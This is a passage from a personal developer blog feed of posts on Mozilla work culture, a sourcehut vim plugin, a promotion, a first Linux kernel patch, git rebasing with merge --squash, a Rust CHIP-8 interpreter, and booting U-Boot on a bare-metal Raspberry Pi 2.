easier to restrict some content than publishing private content more broadly.</p>
<p><a href="https://wiki.mozilla.org/Working_open">Working in the open</a> is what makes Firefox and other Mozilla
products so special: anyone can contribute. Each individual can find information
about a decision in GitHub or Bugzilla. I personally dig into old GitHub issues
at least once a week, usually with a question in mind like āwhy did we do
that?ā. Back then, everything was either relatively well documented in
GitHub/Bugzilla or captured in broadly accessible Google docs, which makes it
possible to answer my question. Nowadays, itās not uncommon for me to ārequest
accessā to some docs I have to read for my own workā¦</p>
<p>We should continue to use open and accessible platforms to capture not only the
decisions but also the āwhyā (context), and keep them available for the future.
Not only will this be useful to us but it will also allow our contributors to
participate even more and feel more āin the loopā.</p>
<hr />
<p>Important note: I wrote this article in the context of my very own team at
Mozilla. Those are my views and they could be applied to other companies as
well.</p>
Introducing srht.vim2021-03-01T00:00:00+00:00https://williamdurand.fr/2021/03/01/introducing-srht-vim<p><a href="https://sourcehut.org/">Sourcehut</a> is a free and open source platform to develop software. It
provides different services like git hosting, issue tracking, continuous
integration and mailing-lists. This platform also offers secondary services such
as a āpastebin-likeā tool named <em>paste.sr.ht</em>.</p>
<p>As a long-time and frequent GitHub user, I use two essential vim plugins to
collaborate:</p>
<ul>
<li><a href="https://github.com/tpope/vim-fugitive">vim-fugitive</a>: I use the <code class="language-plaintext highlighter-rouge">:GBrowse</code> command to share a code snippet
or an entire file, usually during a discussion (in combination with
<a href="https://github.com/junegunn/fzf.vim">fzf.vim</a> to quickly find what I am looking for).</li>
<li><a href="https://github.com/mattn/vim-gist">vim-gist</a>: this plugin allows me to create <em>gists</em> from within vim by
typing <code class="language-plaintext highlighter-rouge"><esc>:Gi<tab><enter></code>. I share git diffs, various drafts, notes, etc.
I configured this plugin so that it creates a private gist by default and puts
the URL into the systemās clipboard. Itās very effective!</li>
</ul>
<p>When I started to use sourcehut, I couldnāt use <code class="language-plaintext highlighter-rouge">:GBrowse</code> anymore and, when I
asked for help on IRC once, some folks told me about the <em>paste</em> service (I
shared GitHubās gists as I normally do and I am not sure they liked it). Writing
a vim plugin was on my todo-list for a while. I wrote some sort of plugins in
the past but nothing really serious.</p>
<p>There we are. <strong>I wrote <a href="https://git.sr.ht/~willdurand/srht.vim">srht.vim</a></strong>, a plugin for interacting with some
sourcehut services. This plugin allows to use <code class="language-plaintext highlighter-rouge">:GBrowse</code> with sourcehut git
repositories when vim-fugitive is installed, and it provides a <code class="language-plaintext highlighter-rouge">:SrhtPaste</code>
command, similar to vim-gist. The latter is heavily inspired by the work of
Yasuhiro Matsumoto, the author of the vim-gist plugin, for two reasons: (1) I am
so used to the <code class="language-plaintext highlighter-rouge">:Gist</code> command that I wanted a similar āuser interfaceā, <em>i.e.</em>
same command arguments and messages, and (2) the author writes excellent vim
plugins (I really needed some concrete examples to follow after having read
<a href="https://learnvimscriptthehardway.stevelosh.com/">Learn Vimscript the Hard Way</a>).</p>
<p>srht.vim can be installed using any package manager (I think) but I personally
use Vimās built-in package support (see <a href="https://vimhelp.org/repeat.txt.html#packages"><code class="language-plaintext highlighter-rouge">:help packages</code></a>). Both <code class="language-plaintext highlighter-rouge">curl</code> and
the <a href="https://github.com/mattn/webapi-vim">webapi-vim</a> plugin are needed, too (it might change in the future).</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ mkdir -p ~/.vim/pack/willdurand/start
$ cd !$
$ git clone https://git.sr.ht/~willdurand/srht.vim
$ vim -u NONE -c "helptags srht.vim/doc" -c q
</code></pre></div></div>
<p>The current state of this plugin is enough for my needs but the <code class="language-plaintext highlighter-rouge">:SrhtPaste</code>
command is way less powerful than the <code class="language-plaintext highlighter-rouge">:Gist</code> one and the <code class="language-plaintext highlighter-rouge">:GBrowse</code> integration
might not handle some edge cases very well. Get in touch if you want to use this
plugin but it doesnāt work for you right now, though.</p>
<p>Depending on how sourcehut evolves in the future, Iād like to add
omni-completion to reference issues in commit messages, which is another feature
(from <a href="https://github.com/tpope/vim-rhubarb">vim-rhubarb</a>) that I use very often!</p>
<p>Let me know if you have ideas to further improve <a href="https://git.sr.ht/~willdurand/srht.vim">my first vim plugin</a>.
Cheers!</p>
I got a promotion!2021-02-26T00:00:00+00:00https://williamdurand.fr/2021/02/26/i-got-a-promotion<p>Long story short, I have been promoted to <strong>Staff Software Engineer</strong>.</p>
<p>Julia Evans explains <a href="https://jvns.ca/blog/senior-engineer/">what a senior engineerās job is</a> and her blog post
describes my role well enough, which is why I wonāt go into details here.
Instead, I chose to write a more personal āstatus updateā.</p>
<p>First of all, Mozilla has a great [career path for engineers]<sup id="fnref:7" role="doc-noteref"><a href="#fn:7" class="footnote" rel="footnote">1</a></sup>, which doesnāt
force folks who like to code to become managers, a very common practice in
French companies (and maybe elsewhere, ugh!). Itās such a relief!</p>
<p>Second, this new title wonāt change my day to day work right now: I have been
promoted because I was already doing some of the job of a staff engineer and I
likely proved that I was a good fit for this role. I still have many new things
to learn, though, and thatās very exciting!</p>
<h2 id="3615-my-life">3615 My Life</h2>
<p>I joined Mozilla as a frontend developer. I exclusively worked on the AMO
frontend in 2018 and eventually became <a href="https://github.com/mozilla/addons-frontend/graphs/contributors">a major contributor</a>. During this
time, I started to maintain some side-projects (eslint config/plugin). After a
year, I decided to become more proficient with python so I started to contribute
to our main backend/API project. This allowed me to work on much bigger features
by myself, and I learned a lot more about add-ons and the AMO platform.</p>
<p>In 2019, my main focus was on hardening the AMO platform, a topic that is
unfortunately confidential. This work started as a research-y project because we
didnāt really know what we could come up with. I chose to use what I learned
during <a href="/2016/05/16/phd-check/">my PhD</a>: I studied the āstate of the artā. After that, I built several
prototypes and presented the results of my initial work to different people, got
feedback, iterated, and eventually proposed a plan to move forward. Some
prototypes became āproduction-readyā and are now running in production while
others have been shelved.</p>
<p>During this period, I also started a collaboration between a Machine Learning
(ML) team and my own team. We wanted to give ML a try but we didnāt know exactly
how. I looked into that on my own first! I wanted to be able to ask good
questions and, to me, it was necessary to be more familiar with ML and have an
idea of how things should be designed. I played with scikit-learn and Jupyter to
have some preliminary results that I shared with the ML team along with a lot of
questions to ask. I donāt know if that was the ārightā thing to do but it worked
and the collaboration is still on-going.</p>
<p>In 2020, I worked on various projects between my parental leave and the rounds
of layoffsā¦ I started to contribute to Firefox (more on that later) and I
adopted a few more projects that needed some maintenance. I also realized that I
could bridge the gap between the AMO and WebExtensions (Firefox) teams, so I
tried (and continues) to do that.</p>
<p>I didnāt really have any goal in mind when I joined Mozilla (except not being
fired because I was a fraud, maybe). Over time, I started to look into new
topics because I needed to learn something new and things in front of me were
interesting. I feel lucky to have been assigned to this security topic back in
2019, it had a huge impact on my career because I could show what I was able to
do. I chose not to be too specialized because thatās not who I am anyway (I suck
at being good at one thing so I try to be average on many things instead). I
think that works well.</p>
<p>I wouldnāt be there without my amazing colleagues in the Add-ons team. Thanks to
all of you! A special note to my current manager (who hired me too): you were
already on my ālistā of people who largely influenced my career and therefore my
life, and you continue to have an immense positive impact. Iāll be forever
grateful, thank-you.</p>
<p>Last but not least, I couldnāt end this section without mentioning my partner.
Sheās been very supportive and did an amazing job at taking care of our little
one while I was at work last year <3</p>
<p>This now sounds like an Oscar speech so letās talk about something else.</p>
<h2 id="in-other-news">In other news</h2>
<p>The Firefox codebase was (and still is) kinda scary to me. This is one of those
<em>things</em> where I thought I could never contribute to it. Thatās a huge project,
with a lot of users (I know what youāre thinking!), and developed by many
contributors every day. Thanks to <a href="/2019/12/20/sigcont/">my amazing self-confidence</a> (follow the
link if you donāt get the irony), I decided to contribute to Firefox roughly <a href="/2020/05/01/moziversary-2/">a
year ago</a>, and this became my personal development goal for the rest of the
year. I landed trivial patches and made all the possible mistakes. I learned a
lot with Rob and then Luca.</p>
<p>In Q3 2020, I worked on <a href="https://blog.mozilla.org/addons/2020/06/10/improvements-to-statistics-processing-on-amo/">new AMO statistics</a> for add-on developers, which
involved various components<sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">2</a></sup> and required some Firefox changes. I was able to
land some patches in Firefox in order to support the rest of my work. That was
really cool because I worked on ALL the building blocks.</p>
<p>Last month, I got <a href="https://www.mozilla.org/en-US/about/governance/policies/commit/access-policy/">Commit Access Level 3</a> on Firefox! Itās rewarding because
it means I earned the trust of my peers.</p>
<p>I am so happy!</p>
<div class="footnotes" role="doc-endnotes">
<ol>
<li id="fn:7" role="doc-endnote">
<p>This used to be a link to a <a href="https://twitter.com/Gankra_/status/1046438955439271936">tweet from @Gankra_</a>:</p>
<blockquote class="footnote-tweet">
<p>i really like that mozilla has an engineer track that just tries to
capture the depth/responsibility of the tasks youāre currently tackling,
and doesnāt necessarily involve moving on to management roles</p>
<p>[screenshot of a spreadsheet with the Mozillaās career ladder]</p>
</blockquote>
<p><a href="#fnref:7" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:1" role="doc-endnote">
<p>I was working on a project involving some frontend work and a lot of
backend changes for AMO. I also had to prototype the ETL queries and
implemented a feature to collect data I needed in Firefox.Ā <a href="#fnref:1" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
</ol>
</div>
First patch in the Linux kernel2021-02-22T00:00:00+00:00https://williamdurand.fr/2021/02/22/first-patch-in-the-linux-kernel<p>Below is the <a href="https://lore.kernel.org/driverdev-devel/20210213034711.14823-1-will+git@drnd.me/">very first patch</a> that I recently landed in the Linux kernel:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>diff --git a/drivers/staging/rtl8192e/rtllib_wx.c b/drivers/staging/rtl8192e/rtllib_wx.c
index aa26b2fd2774..2e486ccb6432 100644
--- a/drivers/staging/rtl8192e/rtllib_wx.c
+++ b/drivers/staging/rtl8192e/rtllib_wx.c
@@ -341,8 +341,6 @@ int rtllib_wx_set_encode(struct rtllib_device *ieee,
goto done;
}
-
-
sec.enabled = 1;
sec.flags |= SEC_ENABLED;
</code></pre></div></div>
<p>If youāre not familiar with the <a href="https://en.wikipedia.org/wiki/Diff#Unified_format">unified format</a>, this patch removed two
blank lines in a (random) C file. It took me an hour to write and test it as I
double-checked every single command I ran to avoid making silly mistakes. I was
kinda terrified but everything went well. Since then, I contributed <a href="https://lore.kernel.org/driverdev-devel/?q=a:will+git@drnd.me">some more
patches</a> to the <a href="https://git.kernel.org/pub/scm/linux/kernel/git/gregkh/staging.git/">staging</a> subsystem. Patches fixing stylistic issues are
welcomed in this subsystem and it is where newcomers should start.</p>
<h2 id="gaining-confidence">Gaining confidence</h2>
<p>I am proud of my first patch. Letās be honest, this patch wonāt make the kernel
safer or anything like that, I only removed two blank lines and itās <em>just</em> a
staging driver (but distributions like <a href="https://wiki.debian.org/rtl819x">Debian include it</a> nonetheless). I
wanted to write about it because I think itās important to be reminded that, no
matter our experience, we always have something to learn and we must learn to
walk before we can run.</p>
<p>Very few people make outstanding contributions on a new project on Day 1. It
takes time to get used to the contribution process, the different tools, the
people you work with, etc. This simple patch introduced me to some of the Linux
Kernel Mailing-Lists and how to use them. I learned about the staging subsystem
and the whole concept of āsubsystemsā. Last but not least, I understood how
patches were merged into the main Linux Kernel repository by following my commit
from my local environment to <a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/">Linus Torvaldsā tree</a>:</p>
<ol>
<li>I submitted a patch to the <a href="https://lore.kernel.org/driverdev-devel/">DriverDev-Devel</a> mailing-list</li>
<li>after review, the patch landed in the <em>staging-testing</em> branch of <a href="https://git.kernel.org/pub/scm/linux/kernel/git/gregkh/staging.git/">Greg
Kroah-Hartmanās tree</a> (Greg KH is the maintainer of the staging subsystem)</li>
<li>after testing, the patch was merged into the <em>staging-next</em> branch</li>
<li>Greg KH prepared a (short-lived) tag for Linus and <a href="https://lore.kernel.org/lkml/YCqhISE0U6%2FUJoLb@kroah.com/">requested</a> a <code class="language-plaintext highlighter-rouge">git pull</code></li>
<li>Linus <a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5d99aa093b566d234b51b7822c67059e2bd3ed8d">pulled</a> the tag from Greg KHās tree</li>
<li><a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=465e8997e8543f78aac5016af018a4ceb445a21b">First patch in the Linux Kernel</a>! :)</li>
</ol>
<h2 id="email-based-git-workflow">Email-based <code class="language-plaintext highlighter-rouge">git</code> workflow</h2>
<p>Submitting a first patch to the Linux Kernel is not super complicated but it is
<em>different</em> because GitHub introduced a new approach to making Open Source
contributions that became extremely popular. This platform enabled many
developers, including myself, to work on Open Source projects using Pull/Merge
Requests.</p>
<p>The Linux Kernel uses emails and mailing-lists to distribute patches and review
code. <a href="https://sourcehut.org/">sourcehut</a> is a platform that leverages this process as well. I like
that approach because all the metadata around the source code is open, public
and sort of distributed. If GitHub goes down, a team cannot collaborate anymore
because they cannot exchange patches or review code, until GitHub comes back.
When GitHub removes a repository for some reasons, all the past code reviews and
patches (Pull Requests) are lost.</p>
<p>Other Open Source projects like Firefox have [a different workflow]<sup id="fnref:11" role="doc-noteref"><a href="#fn:11" class="footnote" rel="footnote">1</a></sup> too and
it isnāt really easier than emails. That being said, most email clients are not
compatible with the email-based <code class="language-plaintext highlighter-rouge">git</code> workflow by default, and thatās a huge
problem. This workflow requires <a href="https://useplaintext.email/">plaintext emails</a> and, for the Linux Kernel
as well as platforms like sourcehut, text should be wrapped at 72 columns and
bottom posting should be used. The majority of email clients will be configured
with HTML, no wrap (and/or no <code class="language-plaintext highlighter-rouge">format=flowed</code> support) and top posting by
default, ugh.</p>
<p>Therefore, email clients that run in a terminal (like <a href="https://aerc-mail.org/">aerc</a>) are kinda
mandatory and I can see how user <em>unfriendly</em> that is. I spend most of my time
working in a terminal, yet I do not use such clients. I started to use <code class="language-plaintext highlighter-rouge">aerc</code>
lately, though. Itās the only way for me to be as efficient as I am with GitHub
because <code class="language-plaintext highlighter-rouge">aerc</code> allows me to review, test and apply patches with ease. Weāll see
how that goes on the long run.</p>
<h2 id="conclusion">Conclusion</h2>
<p>As you can see here, anyone can contribute to the Linux Kernel. For me, itās a
personal achievement that makes me super happy. Then again, I do not think my
first contribution has been very useful but itās <em>something</em>. Iāll continue to
land similar patches until I find some more involved problems to solve.</p>
<p>If you think this is stupid, well, not everyone agrees with you ;-)</p>
<blockquote>
<p>willdurand> here is an example where I sent a series to cleanup a union and
each patch fixes a single field in a struct: <a href="https://lore.kernel.org/driverdev-devel/20210219101206.18036-1-will+git@drnd.me/T/#u">link</a>. I realize itās a lot
of very small commits and I am not sure if thatās the right approach.</p>
<p>gregkh> willdurand: that approach was PERFECT! Exactly the correct thing to do,
and the best example of āhey, go do it like that patch seriesā I have seen in a
while. Nice job.</p>
</blockquote>
<p>If youād like to contribute too, <a href="https://kernelnewbies.org/">Kernelnewbies</a> has a lot of information to
get started and everyone I interacted with has been very friendly.</p>
<div class="footnotes" role="doc-endnotes">
<ol>
<li id="fn:11" role="doc-endnote">
<p>This used to be a link to a <a href="https://twitter.com/couac/status/1245323812729753600">tweet from me</a>:</p>
<blockquote class="footnote-tweet">
<p>A #git workflow for #Gecko development:
<a href="https://glandium.org/blog/?page_id=3438">https://glandium.org/blog/?page_id=3438</a>
// This was very useful last week! I canāt explain why <code class="language-plaintext highlighter-rouge">hg</code> is so slow
for me.. Anyway, with bugzilla, phabricator, moz-phab, etc. having <code class="language-plaintext highlighter-rouge">git</code>
means one less new thing to learn.</p>
</blockquote>
<p><a href="#fnref:11" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
</ol>
</div>
Rebasing without `git rebase`2021-02-02T00:00:00+00:00https://williamdurand.fr/2021/02/02/rebasing-without-git-rebase<p>My <code class="language-plaintext highlighter-rouge">git</code> workflow involves creating a lot of short-lived branches (a.k.a.
feature branches), switching between them and, sometimes, I need to <em>rebase</em> one
of these branches. <a href="https://git-scm.com/docs/git-rebase">git rebase</a> is a super
useful git command and I recommend everyone to get more familiar with it (take a
look at <a href="https://git-rebase.io">git rebase in depth</a> for instance).</p>
<p>My feature branches usually contain a single commit (of interest) and when there
are more commits, my team at $WORK uses the <a href="https://docs.github.com/en/github/collaborating-with-issues-and-pull-requests/about-pull-request-merges#squash-and-merge-your-pull-request-commits">squash and
merge</a>
button anyway. In other words, I do not care much about the history of a
short-lived git branch. Using this approach, executing <code class="language-plaintext highlighter-rouge">git rebase</code> is
straightforward and there is usually little to no <em>conflict</em> to handle.</p>
<p>That being said, it can be tricky to perform a rebase sometimes (for example,
when the main branch has changed a lot after someone ran a code formatter on the
entire codebase). Such a situation could also occur when one merges the main
branch into the feature branch, resulting in a <em>merge commit</em> like <code class="language-plaintext highlighter-rouge">Merge branch
'main' into feature-branch</code>.</p>
<p>Attempting a rebase in these situations will convince a lot of people that git
rebase is awful but we can achieve pretty much the same result using a different
git command: <code class="language-plaintext highlighter-rouge">git merge</code> with the <code class="language-plaintext highlighter-rouge">--squash</code> option. Here is how I proceed to
rebase a branch named <code class="language-plaintext highlighter-rouge">feature-branch</code> without <code class="language-plaintext highlighter-rouge">git rebase</code>:</p>
<ol>
<li>
<p>make sure the main branch is up to date locally first:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code> $ git checkout main
$ git pull origin main
</code></pre></div> </div>
</li>
<li>
<p>ārenameā the branch to rebase to <code class="language-plaintext highlighter-rouge">feature-branch-2</code>:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code> $ git checkout feature-branch
$ git branch --move feature-branch-2
</code></pre></div> </div>
</li>
<li>
<p>recreate the branch <code class="language-plaintext highlighter-rouge">feature-branch</code> based on the main branch:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code> $ git checkout main
$ git checkout -b feature-branch
</code></pre></div> </div>
</li>
<li>
<p><code class="language-plaintext highlighter-rouge">git merge</code> the temporary branch <strong>with squash</strong>:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code> $ git merge --squash feature-branch-2
</code></pre></div> </div>
</li>
<li>
<p>Now, commit and force push <code class="language-plaintext highlighter-rouge">feature-branch</code> to update the Pull/Merge Request
š The temporary branch can be safely deleted at this point.</p>
</li>
</ol>
<p>Thatās it! Note that some of the commands above could be combined to be more
efficient but I do not use this procedure a lot so I do not mind.</p>
<hr />
<p>Bonus: a few years ago I learned about <code class="language-plaintext highlighter-rouge">git commit --fixup</code> so I often pass
<code class="language-plaintext highlighter-rouge">--autosquash</code> to <code class="language-plaintext highlighter-rouge">git rebase</code> (and sometimes <code class="language-plaintext highlighter-rouge">--autostash</code> too). Take a look at
these options if you do not know about them already :)</p>
Introducing chipolata: a CHIP-8 interpreter2021-01-27T00:00:00+00:00https://williamdurand.fr/2021/01/27/introducing-chipolata-a-chip8-interpreter<p>A few weeks ago, I wrote a CHIP-8 interpreter named
<a href="https://github.com/willdurand/chipolata"><em>chipolata</em></a> (you can take a look at
the <a href="https://williamdurand.fr/chipolata/">online demo here</a>). This article gives
a quick tour of this project.</p>
<p><a href="https://en.wikipedia.org/wiki/CHIP-8">CHIP-8</a> is a programming language that
has been used to write video games on a few different platforms in the 70s-80s.
There are tons of interpreters already, and mine isnāt fundamentally different I
believe.</p>
<h2 id="context">Context</h2>
<p>One of my personal projects is a GameBoy emulator, which I initially started in
order to learn more about emulators, graphics and Rust. This GameBoy project is
currently unfinished and not publicly available. The truth is: I wasnāt very
happy with some of the architecture decisions I made so I put it on hold. After
a year of inactivity, I decided to work on a similar but a lot simpler project
in order to (hopefully) solve some of my design issues and finish the emulator.
The <em>chipolata</em> project was born.</p>
<p>I wrote <em>chipolata</em> in Rust (a programming language I donāt practice enough) and
it is split into three components:</p>
<ul>
<li>a core library that contains the actual interpreter</li>
<li>a cross-platform ādesktopā application</li>
<li>a web application powered by a WebAssembly module</li>
</ul>
<p>The next three sections will give more information about each of these
components.</p>
<h2 id="core-library">Core library</h2>
<p>The core library parses the content of a ROM file, which contains <a href="https://en.wikipedia.org/wiki/Opcode">operation
codes</a> (āopcodesā). CHIP-8 has 35 opcodes
only but implementing all of them still takes time. I used a <a href="https://github.com/corax89/chip8-test-rom">test
ROM</a> to verify my implementation and
I ported a tiny debugger that I wrote for the GameBoy emulator in order to
double-check a few other things. Writing a debugger early in the process is
always a good idea and it is useful even when the set of opcodes is relatively
small.</p>
<p>An
<a href="https://github.com/willdurand/chipolata/blob/e55bcf32a0d74c9db4b35b493576a3e27399f4e6/src/chip8/mod.rs#L7"><code class="language-plaintext highlighter-rouge">Interpreter</code></a>
struct, which is a <a href="https://en.wikipedia.org/wiki/Facade_pattern">facade</a>,
exposes everything required to implement a āfrontendā program. Itās worth
pointing out that the interpreter does not handle the main loop. Indeed, I
decided to leave this part to the frontend side because I found it easier to
make graphical output, sound and user input work together with the interpreter
when the frontend also controls the main loop.</p>
<p>The first frontend I implemented was the cross-platform desktop application.</p>
<h2 id="desktop-application">Desktop application</h2>
<p>This is a separate program that relies on the core library and adds a graphical
output thanks to <a href="https://github.com/emoon/rust_minifb">minifb</a> as well as audio
support <em>via</em> <a href="https://github.com/RustAudio/rodio">rodio</a>. The screenshot below
shows the display on the left side and a terminal running the built-in debugger
on the right side:</p>
<p><img src="/images/posts/2021/01/chipolata-desktop.webp" alt="" /></p>
<p>At this point, I could play different games and everything was working as I
expected so I decided to try something new.</p>
<h2 id="web-application">Web application</h2>
<p>I created WebAssembly (WASM) ābindingsā to expose the core library as a WASM
module, which could then be used in a web application. I am not super familiar
with WASM so this part took me a while to understand what was possible.</p>
<p>A new
<a href="https://github.com/willdurand/chipolata/blob/e55bcf32a0d74c9db4b35b493576a3e27399f4e6/src/wasm_bindings.rs"><code class="language-plaintext highlighter-rouge">JsInterpreter</code></a>
struct decorates the core <code class="language-plaintext highlighter-rouge">Interpreter</code> one and contains the configuration
needed to compile a WASM module. I used
<a href="https://rustwasm.github.io/wasm-pack/">wasm-pack</a> to build the final npm
package and I recommend this tool!</p>
<p>The web application allows users to play <em>Space Invaders</em> written by David
Winter. I didnāt want to add other games because there are enough CHIP-8
interpreters online. Instead, I decided to implement different features such as
a live view of the CPU registers and a disassembler.</p>
<p><img src="/images/posts/2021/01/chipolata-web.webp" alt="" /></p>
<p>The disassembler implementation is pretty naive, though. It reads the entire RAM
starting at the start address (<code class="language-plaintext highlighter-rouge">0x200</code>) and, for each opcode, it prints a
mnemonic (from <a href="http://devernay.free.fr/hacks/chip8/C8TECH10.HTM#3.1">this
list</a>). This disassembler
does not handle odd addresses (which are possible because the specification
allows unaligned instructions) and it does not make the distinction between code
and data sections. I think a recursive traversal approach would be much better.</p>
<p>This project was also a good opportunity to become more familiar with the <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Audio_API">Web
Audio API</a>.
CHIP-8 only needs a single ābeepā sound. I implemented it using a 400Hz sine
wave. Pretty cool what we can do in a browser these days!</p>
<h2 id="whats-next">Whatās next?</h2>
<p>First of all, I am pretty happy with the current state of this project.</p>
<p>I have some ideas for another rainy week-end without kids, though. For instance,
I would like to find a way to move the debugger to the core library in order to
implement it in the web application. The disassembler could also be rewritten in
Rust and become a core feature.</p>
<p>In the back of my mind, being able to run this interpreter on
<a href="https://github.com/willdurand/ArvernOS">ArvernOS</a> would be a great achievement.
I havenāt looked in details yet but I think itās doable ;-)</p>
<h2 id="links">Links</h2>
<p>Here is a list of useful links I read while working on this project:</p>
<ul>
<li><a href="https://en.wikipedia.org/wiki/CHIP-8">https://en.wikipedia.org/wiki/CHIP-8</a></li>
<li><a href="http://www.multigesture.net/articles/how-to-write-an-emulator-chip-8-interpreter">http://www.multigesture.net/articles/how-to-write-an-emulator-chip-8-interpreter</a></li>
<li><a href="http://www.multigesture.net/wp-content/uploads/mirror/goldroad/chip8_instruction_set.shtml">http://www.multigesture.net/wp-content/uploads/mirror/goldroad/chip8_instruction_set.shtml</a></li>
<li><a href="http://devernay.free.fr/hacks/chip8/C8TECH10.HTM">http://devernay.free.fr/hacks/chip8/C8TECH10.HTM</a></li>
<li><a href="https://tobiasvl.github.io/blog/write-a-chip-8-emulator">https://tobiasvl.github.io/blog/write-a-chip-8-emulator</a></li>
</ul>
Bare-metal Raspberry Pi 2 programming2021-01-23T00:00:00+00:00https://williamdurand.fr/2021/01/23/bare-metal-raspberry-pi-2-programming<p>Last week-end, I started to play with
<a href="https://github.com/willdurand/ArvernOS">ArvernOS</a> (my very own 64-bit kernel)
and one of the <a href="https://www.raspberrypi.org/products/raspberry-pi-2-model-b/">Raspberry Pi
2</a> I had in a
drawer (32-bit architecture unfortunately but thatās a story for another time).</p>
<p>After a few hours, I was able to run ArvernOS with most features disabled on real
hardware (getting it to run in <a href="https://www.qemu.org/">QEMU</a> was surprisingly
straightforward). In the following, Iāll explain the boot sequence of a
Raspberry Pi 2 and show how it works using an example.</p>
<h2 id="boot-sequence">Boot sequence</h2>
<p>When we power on a Raspberry Pi 2, the CPU is not yet active, only the GPU
(<a href="https://en.wikipedia.org/wiki/VideoCore">VPU</a>) is. The boot sequence is a
multi-stage sequence that loads and executes different programs sequentially.
The GPU starts by executing the <em>first stage</em> bootloader stored on the board (in
ROM) which, among other things, will attempt to read the SD card and load the
<em>second stage</em> bootloader named <code class="language-plaintext highlighter-rouge">bootcode.bin</code>. The code contained in
<code class="language-plaintext highlighter-rouge">bootcode.bin</code> will load the main (GPU) firmware named <code class="language-plaintext highlighter-rouge">start.elf</code> as well as
another file named <code class="language-plaintext highlighter-rouge">fixup.dat</code>, both located on the SD card. The latter is used
to configure the SDRAM depending on the hardware. The <code class="language-plaintext highlighter-rouge">start.elf</code> file contains
the code to display the rainbow splash when we have a screen connected to a
Raspberry Pi but its main task is to boot the CPUs and load the kernel code.</p>
<p>Both <code class="language-plaintext highlighter-rouge">bootcode.bin</code> and <code class="language-plaintext highlighter-rouge">start.elf</code> attempt to read a <code class="language-plaintext highlighter-rouge">config.txt</code> file, which
is an optional but extremely useful configuration file. For example, we can add
<code class="language-plaintext highlighter-rouge">uart_2ndstage=1</code> to this file to get diagnostic information on UART0 (serial
port). We can also specify the kernel code we want to run (the default kernel
file being <code class="language-plaintext highlighter-rouge">kernel7.img</code> on a Raspberry Pi 2).</p>
<h2 id="quick-example-with-u-boot">Quick example with U-Boot</h2>
<p>Letās try to compile and execute <a href="https://www.denx.de/wiki/U-Boot">U-Boot</a> to
understand how things work. U-Boot is a fairly small bootloader used in many
embedded devices, and it normally attempts to load an actual Operating System.
U-Boot runs a command-line interface on a serial port too so weāre going to
leverage this feature and only load U-Boot.</p>
<p>First, we need to download the <code class="language-plaintext highlighter-rouge">bootcode.bin</code>, <code class="language-plaintext highlighter-rouge">fixup.dat</code> and <code class="language-plaintext highlighter-rouge">start.elf</code> files
from <a href="https://github.com/raspberrypi/firmware/tree/master/boot">this repo</a> and
put them on the main
<a href="https://en.wikipedia.org/wiki/File_Allocation_Table#FAT32">FAT32</a> partition of
a SD card. These files are provided by the Raspberry Pi Foundation, which means
most of the early boot sequence is done for us. I know about <a href="https://github.com/christinaa/rpi-open-firmware">this alternative
<em>second stage</em> bootloader
project</a> but I am not sure why
weād use it to be honest.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ls /Volumes/SDCARD/
bootcode.bin* fixup.dat* start.elf*
</code></pre></div></div>
<p>The next step is more interesting. We need something for the <code class="language-plaintext highlighter-rouge">start.elf</code> program
to complete successfully. In this example, we want to use U-Boot so letās
compile it. I personally used the Docker-based <a href="https://github.com/willdurand/ArvernOS/tree/77910ccd44608c683423b2bed1e90d5b050923d7#docker-recommended-way">ArvernOS
toolchain</a>
for that:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ git clone git://git.denx.de/u-boot.git
$ cd u-boot
$ docker run -it --rm -v $(pwd):/app willos/toolchain make rpi_2_defconfig
$ docker run -it --rm -v $(pwd):/app willos/toolchain make
[...]
LD u-boot
OBJCOPY u-boot.srec
OBJCOPY u-boot-nodtb.bin
SYM u-boot.sym
COPY u-boot.bin
</code></pre></div></div>
<p>Once finished, we can move the generated <code class="language-plaintext highlighter-rouge">u-boot.bin</code> file to the SD card as
well. Weāre almost there, all we need is to create the <code class="language-plaintext highlighter-rouge">config.txt</code> file with
the following content on the SD card:</p>
<div class="language-ini highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Output debug information from `bootcode.bin` and `start.elf`
</span><span class="py">uart_2ndstage</span><span class="p">=</span><span class="s">1</span>
<span class="c"># Configure which file should be loaded by `start.elf`
</span><span class="py">kernel</span><span class="p">=</span><span class="s">u-boot.bin</span>
</code></pre></div></div>
<p>The SD card should now have five files:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ls /Volumes/SDCARD/
bootcode.bin* config.txt* fixup.dat* start.elf* u-boot.bin*
</code></pre></div></div>
<p>Letās connect a USB to TTL serial cable
(<a href="https://www.adafruit.com/?q=ftdi">FTDI</a>) between the Raspberry Pi 2 and our
main computer. We can now open the serial port (with <code class="language-plaintext highlighter-rouge">screen -L
/dev/tty.usbserial-A900HHN1 115200</code> for instance), put the SD card in the Pi and
power it on.</p>
<p>After a few seconds, we should see the debug information from the boot sequence
first:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Raspberry Pi Bootcode
Read File: config.txt, 34
Read File: start.elf, 2878340 (bytes)
Read File: fixup.dat, 6729 (bytes)
MESS:00:00:00.949118:0: brfs: File read: /mfs/sd/config.txt
MESS:00:00:00.953246:0: brfs: File read: 34 bytes
MESS:00:00:00.967599:0: HDMI:EDID error reading EDID block 0 attempt 0
[...]
MESS:00:00:01.029675:0: HDMI:EDID giving up on reading EDID block 0
